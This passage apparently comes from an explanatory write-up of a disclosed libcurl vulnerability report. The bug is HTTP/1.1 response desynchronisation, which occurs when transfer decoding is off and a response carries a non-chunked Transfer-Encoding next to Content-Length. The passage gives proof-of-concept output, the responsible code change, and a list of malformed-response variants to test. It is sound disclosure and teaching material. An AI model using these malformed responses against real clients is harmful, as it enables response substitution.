  • Host: [redacted]:18081 tells the server which site is being requested, here the local address and port.
  • Accept: */* says the client will accept any content type.
  • RESULT: CURL REUSED CONNECTION AFTER NON-CHUNKED TRANSFER-ENCODING RESPONSE is the server's conclusion: curl reused the connection after a response whose transfer encoding was not chunked.

The client output includes:

Text
< HTTP/1.1 200 OK
< Content-Length: 5
< Transfer-Encoding: gzip
< Connection: keep-alive

* Connection #0 to host [redacted] left intact
* Re-using existing connection #0 with host [redacted]

FIRST rc=0 (No error)
FIRST body=[HELLO]

SECOND rc=0 (No error)
SECOND body=[POISON]

Line by line:

  • The lines starting with < are the response headers libcurl received, shown for debugging.
  • * Connection #0 to host [redacted] left intact means connection number 0 was kept open.
  • * Re-using existing connection #0 with host [redacted] means the next request went down that same connection.
  • FIRST rc=0 (No error) means the first request returned code 0, which is libcurl's code for success.
  • FIRST body=[HELLO] means the first response body was read as HELLO.
  • SECOND rc=0 (No error) means the second request also succeeded.
  • SECOND body=[POISON] means the second response body was read as POISON.

So libcurl decided response 1 was complete after the five bytes named by Content-Length, kept the connection reusable, and sent request 2 on the same TCP connection. The second response was accepted as POISON.

Step 6: compare with curl 8.0.1

The same PoC against curl 8.0.1 behaves differently. The server sees:

Text
NO SECOND REQUEST ON CONNECTION 1
Closing connection 1.

CONNECTION 2:
===== REQUEST 2 ON NEW CONNECTION =====
GET /two HTTP/1.1

Line by line:

  • NO SECOND REQUEST ON CONNECTION 1 means the second request did not arrive on the first connection.
  • Closing connection 1. means that first connection was closed.
  • CONNECTION 2: marks the start of a new connection.
  • ===== REQUEST 2 ON NEW CONNECTION ===== means the second request arrived on a fresh connection instead.
  • GET /two HTTP/1.1 is the second request itself.

The client reports:

Text
* Error while processing content unencoding: incorrect header check
* Closing connection 0

FIRST rc=61 (Unrecognized or bad HTTP Content or Transfer-Encoding)
FIRST body=[]

SECOND rc=0 (No error)
SECOND body=[SECOND_OK]

Line by line:

  • * Error while processing content unencoding: incorrect header check means libcurl tried to unpack the body and found it was not valid gzip data, so it reported an error.
  • * Closing connection 0 means it closed the connection.
  • FIRST rc=61 (Unrecognized or bad HTTP Content or Transfer-Encoding) means the first request failed with libcurl error code 61, which means the content or transfer encoding was not recognised or was bad.
  • FIRST body=[] means no body was delivered for the first request.
  • SECOND rc=0 (No error) and SECOND body=[SECOND_OK] mean the second request succeeded on a new connection and got a normal answer.

In 8.0.1 the first connection is not reused. The first request fails with error 61, and the second request goes out on a new connection. That is the safe behaviour.

Step 7: test the exact commit

The researcher also built and tested the commit just before and the commit itself. Before:

Text
[redacted]^

The ^ at the end means "the commit just before this one". At that point the first connection is not reused. At:

Text
[redacted]

the first connection is reused and the result is:

Text
FIRST body=[HELLO]
SECOND body=[POISON]

The parent commit does not reuse the connection; the commit itself does.

Step 8: negative control with decoding enabled

The client can also be run with:

Shell
DYLD_LIBRARY_PATH="$BUILD/lib" ./poc_client --decode

--decode is a command-line switch that tells the test program to turn decoding back on. It uses:

C
CURLOPT_HTTP_TRANSFER_DECODING = 1L;

1L means "on". With decoding enabled, the malformed response does not cause the same unsafe connection reuse on the current code path. So the bug needs decoding to be off.

Why it happens

The commit changes lib/http.c from:

C
if(!k->chunk) {

to:

C
if(!k->chunk && data->set.http_transfer_encoding) {

around the code that performs:

C
connclose(conn, "HTTP/1.1 transfer-encoding without chunks");
k->ignore_cl = TRUE;

Line by line:

  • if(!k->chunk) { means "if this response is not chunked". k->chunk is a flag saying whether the body uses chunked framing, and ! means "not".
  • The new version, if(!k->chunk && data->set.http_transfer_encoding) {, adds a second condition: "and the application asked for transfer decoding". && means "and".
  • connclose(conn, "HTTP/1.1 transfer-encoding without chunks"); closes the connection, with a log message explaining why.
  • k->ignore_cl = TRUE; sets a flag telling libcurl to ignore Content-Length for this response.

So the safety action (close the connection and ignore Content-Length) now only happens when the application asked for transfer decoding. If the application asked for raw bytes, the safety action is skipped.

The same commit adds an early successful return to the transfer-decoding path in lib/content_encoding.c when transfer decoding was not requested:

C
if(is_transfer && !data->set.http_transfer_encoding)
  /* not requested, ignore */
  return CURLE_OK;

Line by line:

  • if(is_transfer && !data->set.http_transfer_encoding) means "if this is a transfer coding and the application did not ask for transfer decoding".
  • /* not requested, ignore */ is a comment for human readers.
  • return CURLE_OK; means "stop here and report success", skipping the decoding work.

The researcher's interpretation is that this ties the HTTP message-boundary decision to the application's decoding preference. When decoding is off, the non-chunked Transfer-Encoding is skipped, the connection-close and ignore_cl path is also skipped, and Content-Length is still allowed to decide where the response ends.

Put another way: the guard that would have closed the connection and ignored Content-Length for a non-chunked transfer coding now depends on the application asking for decoding. An application that asks for raw bytes, which is exactly what --raw does, loses the framing protection along with the decoding.

What an attacker could do with it

The demonstrated primitive is HTTP/1.1 response desynchronisation, also called response substitution, caused by incorrect response-boundary handling. "Primitive" here means the basic building block an attack could be built from.

The PoC proves that libcurl can send a later HTTP request on a TCP connection that should still be delimited by the closing of the previous response. In the PoC, libcurl accepts HELLO as response 1, reuses the connection, and then accepts attacker-controlled POISON as response 2. An attacker who controls the HTTP response can therefore influence how later responses on that connection are interpreted.

The researcher deliberately does not claim cross-origin or cross-trust-boundary exploitation, credential theft, or data disclosure, because none of those were demonstrated. Cross-origin means one website affecting another; cross-trust-boundary means crossing a line between systems that trust each other and systems that do not. The confirmed impact is unsafe HTTP response framing and persistent-connection reuse, with potential for response confusion in applications that make several requests in a row over reused HTTP/1.1 connections. Final severity and broader exploitability were left for discussion with the curl security team.

The report also includes an AI usage disclosure: ChatGPT was used as an assistant for navigating Git history, organising local reproduction steps, and drafting the report. Git is the version-control system that records every change to the code. The researcher states that all technical claims were manually executed and verified against locally checked-out source trees and locally built libcurl binaries, including the release A/B test, the commit-level A/B test, the dynamic-library linkage check, and the 8.22.0 reproduction.

What should happen instead

The report does not describe a fix or a patch. What it argues should happen is that CURLOPT_HTTP_TRANSFER_DECODING should control only whether libcurl decodes transfer codings before exposing data to the application, and should not change the HTTP message boundary. For an applicable HTTP/1.1 response containing:

HTTP
Content-Length: 5
Transfer-Encoding: gzip

Content-Length should not determine the response boundary. Because the last transfer coding is not chunked, the response is close-delimited and the connection should not be considered reusable after five bytes.

  1. Other non-chunked transfer codings. The PoC uses Transfer-Encoding: gzip. Try deflate, compress, or a made-up coding alongside a Content-Length. A positive result is the client accepting the Content-Length bytes as a complete response and sending the next request on the same connection.
  2. Chained codings ending in something other than chunked, such as Transfer-Encoding: gzip, deflate. A positive result is the same premature completion and reuse.
  3. Transfer-Encoding: chunked with a conflicting Content-Length. This is the classic smuggling shape; a positive result would be the client preferring one header over the other in a way that lets the server and client disagree on the boundary.
  4. Raw mode through the command-line tool. Run curl with --raw against a server that sends the PoC response. A positive result is curl printing HELLO and then issuing the second request on the same connection, visible in the server log.
  5. Applications that reuse handles or connection pools for sequential requests. A connection pool is a set of kept-open connections a program reuses. A positive result is the second response being taken from bytes the attacker controls, as with POISON here.
  6. Other libcurl versions between 8.0.1 and 8.1.0, and later releases, to map which builds carry the regression. A regression is a bug introduced by a change that used to work correctly. A positive result is reuse after a non-chunked transfer coding with decoding disabled.
  7. The same response with decoding enabled, as a negative control. A negative control is a test where you expect nothing bad to happen, to prove the bad result really depends on the thing you changed. A positive result here would mean the bug is broader than the decoding-disabled path.

Glossary

  • AddressSanitizer: a debugging tool that watches a running program and reports memory-safety errors.
  • A/B test: running the same experiment on two versions and comparing the results.
  • Body: the actual content of an HTTP request or response, as opposed to its headers.
  • Build: the process of turning source code into a runnable program or library.
  • Chunked: a transfer encoding that splits the body into labelled pieces and marks the end with a zero-length chunk.
  • Close-delimited: a response whose end is known only when the server closes the connection.
  • CMake: a tool that prepares and runs builds from source code.
  • Commit: a saved change in a version-control system, identified by a unique fingerprint.
  • Compile: turn human-written source code into a program the computer can run.
  • Connection pool: a set of kept-open network connections that a program reuses.
  • Content-Length: an HTTP header giving the exact size of the body in bytes.
  • Cross-origin: involving two different websites or origins, where one should not be able to affect the other.
  • Cross-trust-boundary: crossing a line between systems that trust each other and systems that do not.
  • curl: a command-line tool for transferring data over the internet.
  • CURLOPT_HTTP_TRANSFER_DECODING: a libcurl setting controlling whether transfer codings are decoded before data is handed to the application.
  • Debug build: a build that includes extra information to help with debugging.
  • Desynchronisation: a state where two sides disagree about where messages begin and end.
  • dylib: a shared library file on macOS.
  • Git: the version-control system that records changes to source code.
  • gzip: a compression format.
  • HackerOne: a website where security researchers report bugs to companies.
  • Handle: in libcurl, the object that holds a connection and its settings.
  • Header: a labelled line of extra information in an HTTP request or response.
  • HTTP: the protocol browsers and servers use to exchange requests and responses.
  • HTTP request smuggling: a class of bug where two parties disagree about message boundaries, letting an attacker slip data past one of them.
  • Keep-alive: keeping a connection open so several requests can be sent over it.
  • libcurl: the library that provides curl's networking engine to other programs.
  • Linker: the tool that joins compiled pieces into a final program.
  • Negative control: a test where you expect nothing bad to happen, used to prove a result depends on the thing you changed.
  • otool -L: a macOS command that lists the shared libraries a program will load.
  • Persistent connection: a connection kept open for more than one request and response.
  • Port: a numbered door on a computer that a network service listens at.
  • Primitive: the basic building block that an attack could be built from.
  • Proof of concept (PoC): the files and steps that demonstrate a bug.
  • Regression: a bug introduced by a change to code that used to work correctly.
  • Request: a message a client sends to a server asking for something.
  • Response: a message a server sends back to a client.
  • Response substitution: making a client accept attacker-controlled data as the answer to a request.
  • rpath: a runtime search path recorded inside a program so it finds its shared libraries.
  • Sanitizer: a debugging tool that detects unsafe or undefined program behaviour at runtime.
  • Shared library: a reusable block of code that programs load at runtime.
  • Source code: the human-written text that a program is built from.
  • Tag: a label attached to a specific point in a project's history, often a release.
  • TCP connection: the actual network link between two computers over which HTTP messages travel.
  • Transfer-Encoding: an HTTP header describing how the body was packaged for transport.
  • UndefinedBehaviorSanitizer: a debugging tool that reports undefined behaviour in a running program.
  • Variable: a named box in a program or shell that holds a value.
  • --raw: the curl command-line option that turns transfer decoding off.

More from curl

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.